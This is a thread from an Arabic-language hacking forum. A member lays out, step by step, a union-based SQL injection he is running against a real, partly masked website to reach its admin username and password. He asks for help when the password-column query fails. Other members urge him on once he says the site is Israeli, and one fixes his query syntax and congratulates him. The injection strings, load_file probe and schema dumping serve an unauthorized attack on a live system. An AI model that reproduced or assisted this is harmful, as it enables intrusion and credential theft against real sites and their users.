|
ثغرة حقن وجعت رااسي كيف الشباب سؤالي اكيد بسيط بالنسبه الكن رح اتركن مع الخطوات http://********/etemplate.php?id=58 موقع مصاب .................................................. ............................................. عدد الاعمده http://*******/etemplate.php?id=58+order+by+13 .................................................. ................................................ نفذت هاد الامر http://******/etemplate.php?id=58+an...lect+1,2,3,4,5 ,6,7,8,9,10,11,12,13 ظهر العامود الخامس مصاب .................................................. ................................................. انتقلت للامر لمعرفه اصدار القاعده http://******/etemplate.php?id=58+an...lect+1,2,3,4,v ersion(),6,7,8,9,10,11,12,13 ظهر الاصدار 5.0.45-community-nt .................................................. .................................................. .......................... انتقلت للامر لفحص السيرفر load_file('/') http://****/etemplate.php?id=58+and+...select+1,2,3,4, load_file('/'),6,7,8,9,10,11,12,13 ظهر خطأ ؟؟؟؟ طنشت الخطة هي .................................................. .................................................. ....... انتقلت للامر http://******/etemplate.php?id=58+an...lect+1,2,3,4,c oncat(table_name,0x3a,column_name,0x3a,table_schem a),6,7,8,9,10,11,12,13+from+information_schema.col umns ظهر عواميد اليوزر و الباس CHARACTER_SETS:CHARACTER_SET_NAME:information_sche ma .................................................. ................................................. انتقلت للامر التالي لاجيب عامود الباسورد where+column_name+LIKE+CHAR(37, 112, 97, 115, 37) طبعا كلمة pas مشفره تشفير mysql char بعد تنفيذ الامر يظهر الخطأأ لهون وصلت وم عاد فيي اتحرك خطوه والحل ي شباب شو المشكله وكيف فيني كمل حاسس حالي صرت قريب من اسم الادمن والباسوورد :00001793[1]: > مبسوط الحل ي شباب بر[ب] |
كيف وضعت الامر ادناه بالحقنه اقتباس:
بس هذه الخطوه ما وضحتها انت كيف عملتها اشي تاني يا ريت لو تضع الموقع لحتا نقدر نساعدك اكثر ولا تخاف ع الموقع ما حد يخترقه قبلك ان شاء الله |
انا فعلا خايف حدا يخترقو قبلي بس ملاحظه قبل م اخترقو رح اعرف طبيعت الموقع ازا كان يستاهل الاختراق ولا لا وهي بتركا الك تقرر لانو الموقع البلد : اسرائيل رح كملك شو عملت انا من النقطه اللي م فهمتها انتا لاعرف العامود والجدول طبقت الامر التالي http://******/etemplate.php?id=58+an...E+LIKE+CHAR(37, 112, 97, 115, 37) |
ع فكرا كل المواقع اللي حاولت فيها صادفتني نفس المشكله يعني بوصل لهون وم عاد اتقدم ولا خطوه اكيد في خطأأ رايح عن باالي ي ريت تشرحي باقي الخطوات كيف ناطر ردك بفارغ الصبر بر[ب] |
اقتباس:
شوف علامه الزائد قبل كلمه where مش موجوده صح ضيفها وشوف كيف الناتح من عندي كود PHP: مبروك الموقع الاسرائيلي يلا واصل اخي |
| الساعة الآن 08:43 AM |
[ vBspiders.Com Network ]